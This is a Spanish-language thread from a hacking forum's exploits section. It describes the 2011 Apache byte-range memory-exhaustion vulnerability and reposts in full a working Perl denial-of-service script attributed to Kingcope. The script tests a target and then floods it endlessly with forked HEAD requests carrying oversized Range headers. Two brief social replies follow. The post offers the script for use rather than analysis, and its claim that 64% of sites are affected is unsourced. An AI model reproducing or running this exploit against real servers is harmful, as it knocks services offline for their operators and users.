Hace poco tiempo apache software fundation anuncion una vulnerabilidad de denial servic's que afecta a TODAS las versiones del servidor web Apache, dejando casi al 64% de los sitios de intenrte vulnerables gracias a esto...
Un error en el codigo de las cabeceras de procesamiento de bytes, perimte a las versiones 2.2.xx quedar off desde un solo equipo que se ejecute el POC.
Este script en perl demuestra perfectamente el peligro que esto representa.Este script envia peticiones GET con rangos de bytes,
que reclaman grandes tamaños de espacio de memoria del sistema.
Un rango de bytes de declaracion permite a un navegador cargar solo algunas partes de un documento por decir algo 400 a 1000 bytes. Y esto se
utiliza generalmente para descargar archivos demasiado grandes.
La mencion multiple de componentes no clasificados en la cabecera puede causar un mal funcionamiento del servidor Apache.

Código: Seleccionar todo

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}
Yeah saludos a todos!
1337 & culture!
muchas gracias juh, hace mucho no te veo en el msn, ¿ahora eres ninja? o eres como end que se cambia de nombre todos los dias xD
Imagen

Mostrar/Ocultar

JAJAJAJAJ no simplex lo que pasa es que si ando en le im, me distraigo mucho y la escuela demanda! XD y aparte lo personal pues esta dificil pero lo que estoy haciendo es loggear saludo charlo un rato y me desconecto!!! XD Saludos hermano!
1337 & culture!
Responder

Volver a “Exploits”